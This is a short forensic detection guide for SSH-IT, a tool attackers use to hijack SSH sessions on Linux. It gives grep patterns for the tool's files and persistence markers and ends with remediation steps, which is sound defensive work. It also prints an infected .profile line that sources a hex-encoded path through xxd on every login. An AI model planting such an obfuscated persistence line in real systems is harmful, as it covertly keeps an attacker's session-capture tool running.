SSH-IT. Guide to detecting a popular tool

SSH-IT. Guide to detecting a popular tool 🔭

In the course of investigating numerous incidents involving the compromise of Linux nodes, we sometimes discover various hacking tools on them.

Today we’ll talk about SSH-IT. Hackers often use it to intercept SSH sessions and capture commands entered by users.

To detect signs of the tool being installed on nodes, look for:

1. Files matching the pattern: '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)':

find / -type f | egrep -a '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)'
Code language: plaintext (plaintext)

🧐 Example:

/home/john/.config/prng/askpass.sh
/home/john/.config/prng/depth.cfg
/home/john/.config/prng/funcs
/home/john/.config/prng/hook.sh
/home/john/.config/prng/ptyspy_bin.aarch64-linux
/home/john/.config/prng/ptyspy_bin.armv6l-linux
/home/john/.config/prng/ptyspy_bin.i386-alpine
/home/john/.config/prng/ptyspy_bin.mips32-alpine
/home/john/.config/prng/ptyspy_bin.mips64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-osx
/home/john/.config/prng/seed
/home/john/.config/prng/ssh
/home/john/.config/prng/ssh_login.sh
/home/john/.config/prng/thc_cli
/home/john/.config/prng/x.sh
Code language: plaintext (plaintext)

2. Files through which persistence in the system may be established and which contain strings matching the pattern: '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD'

egrep -aor '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD' /
Code language: plaintext (plaintext)

👀 Example (file /home/john/.profile):

"# ~/.profile: executed by the command interpreter for login shells.
# DO NOT REMOVE THIS LINE. SEED PRNGD.
source "$(echo 2f686f6d652f6a6f686e2f2e636f6e6669672f70726e672f736565640a|/usr/bin/xxd -r -ps 2>/dev/null)" 2>/dev/null #PRNGD
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022

# if running bash
if [ -n ""$BASH_VERSION"" ]; then
    # include .bashrc if it exists
    if [ -f ""$HOME/.bashrc"" ]; then
        . ""$HOME/.bashrc""
    fi
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/bin"" ] ; then
    PATH=""$HOME/bin:$PATH""
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/.local/bin"" ] ; then
    PATH=""$HOME/.local/bin:$PATH""
fi"
Code language: Bash (bash)

📃 Recommendations for further actions:

1️⃣ Block the addresses of the command-and-control servers;

2️⃣ Delete the files related to SSH-IT, and also modify the files through which SSH-IT established persistence in the system;

3️⃣ Reboot the compromised host;

4️⃣ Search for suspicious network logins and check the web server logs (if one exists and is exposed to the internet).

#tip #detect #hacktool #dfir
@ptescalator